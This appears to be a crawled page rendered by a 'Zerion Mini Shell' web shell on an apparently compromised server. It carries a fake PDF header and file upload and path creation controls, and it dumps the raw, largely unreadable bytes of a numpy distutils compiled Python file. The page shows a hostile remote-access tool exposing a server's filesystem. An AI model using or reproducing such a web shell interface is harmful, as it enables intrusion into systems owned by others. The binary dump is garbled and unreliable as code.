%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/distutils/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/distutils/__pycache__/core.cpython-39.pyc

a

z[yc��@s�ddlZddlmZdejvrddZddlmZddlm	Z	zddlm
Z
Wqtey`dZYqt0nddlmZdZddlZddlZ
ddlZ
dd	lmZdd
lmZddlmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!ddl"m#Z#m$Z$ejejejej%ej&ejejejejejejeje!j!eje j d
�Z'e�rtddlm(Z(m)Z)e
j
e'd<e(j(e'd<e	j	e'd<e)j)e'd<dd�Z*ddd�Z+d dd�Z,dd�Zdd�Z-dd�Z.dS)!�N)�Distribution�
setuptoolsT)�setup)�easy_install)�	bdist_eggF)�	Extension)�NumpyDistribution)�config�config_compiler�build�build_py�	build_ext�
build_clib�	build_src�
build_scripts�sdist�install_data�install_headers�install�	bdist_rpm�install_clib)�is_sequence�	is_string)rrr�	config_cc�	config_fcr	r
rrrrrrrr)�develop�egg_inforrrrcKs�|��D]�\}}||vr"|||<q||}t|t�rF|t|�||<qt|t�rb|t|�||<qt|t�r~t|fi|��qt|�r�||||<qttt	|����qdS)N)
�items�
isinstance�tuple�list�dict�_dict_appendr�	TypeError�repr�type)�dZkws�k�vZdv�r)�:/usr/lib64/python3.9/site-packages/numpy/distutils/core.pyr"7s


r"cCs�|r|dS|durg}d}dd�tjD�}tjD]}|dr2|�d|d�q2tjD]&}|�d�sv|d	ksv||vrXd
}q�qX|�|�|S)zT Return True if command line does not contain any
    help or display requests.
    rNTcSsg|]}d|�qS)z--r))�.0�nr)r)r*�
<listcomp>Q�z$_command_line_ok.<locals>.<listcomp>��-z--helpz-hF)rZdisplay_option_namesZdisplay_options�append�sys�argv�
startswith)�_cache�okZdisplay_opts�o�argr)r)r*�_command_line_okHs


r9cCs6tjj}|dur dt|�vr d}|r2|dur2t�}|S)NZDistributionWithoutHelpCommands)�	distutils�core�_setup_distributionr$r)�always�distr)r)r*�get_distribution\s
�r?cKs�t��}|��}d|vr&|�|d�||d<d|vr�|�d�}tjj}tjj}dtj_dtj_z"tfi|��}W|tj_|tj_n|tj_|tj_0|j	s�t
�s�|S|�}t|d�r�|��}t
|fi|��g}|�dg�D]h}	g}
|	jD]R}t|��r|\}}
t|||
�|
�|�q�t|��r0|
�|�q�td|f��q�|
|	_q�|�rzd|v�r`g|d<|D]}t|d|��qdd|v�s�d|v�r�d|v�r�g|d<t|d	<tfi|��S)
N�cmdclass�
configurationZcommandline�todictZext_modulesz2invalid description of extension module library %r�	librariesZheadersZ	distclass)�numpy_cmdclass�copy�update�popr:r;r<Z_setup_stop_afterr�helpr9�hasattrrBr"�getrCr�_check_append_ext_libraryr1rr#�_check_append_libraryr�	old_setup)�attrr@Znew_attrrAZold_distZold_stopr>r	rC�extZ
new_libraries�item�lib_name�
build_infor)r)r*rks`

�




�
�rcCs�|D]�}t|�r�t|�r\|d|dkr�|d|dur>dStjd|dfdd�q�q�||dkr�tjd|dfdd�q�qt|�r�|d|kr�tjd|dfdd�q�q||krdSq|�|�dS)Nrr/z8[0] libraries list contains %r with different build_info���
stacklevelz1[1] libraries list contains %r with no build_infoz1[2] libraries list contains %r with no build_info�r�warnings�warnr1)rCrPZlibitemr)r)r*rL�s<������rLcCs||D]d}t|�rH|d|krh|d|ur.dStjd|fdd�qjq||krtjd|fdd�qjq|�||f�dS)Nrr/z8[3] libraries list contains %r with different build_inforSrTz1[4] libraries list contains %r with no build_inforV)rCrQrRrPr)r)r*rK�s&����rK)N)F)/r2Zdistutils.corer�modulesZhave_setuptoolsrrrMZsetuptools.commandrr�ImportErrorrWr:Zdistutils.distZnumpy.distutils.extensionrZ"numpy.distutils.numpy_distributionrZnumpy.distutils.commandr	r
rrr
rrrrrrrrrZnumpy.distutils.misc_utilrrrrrDrrr"r9r?rLrKr)r)r)r*�<module>s\
@�





@

Zerion Mini Shell 1.0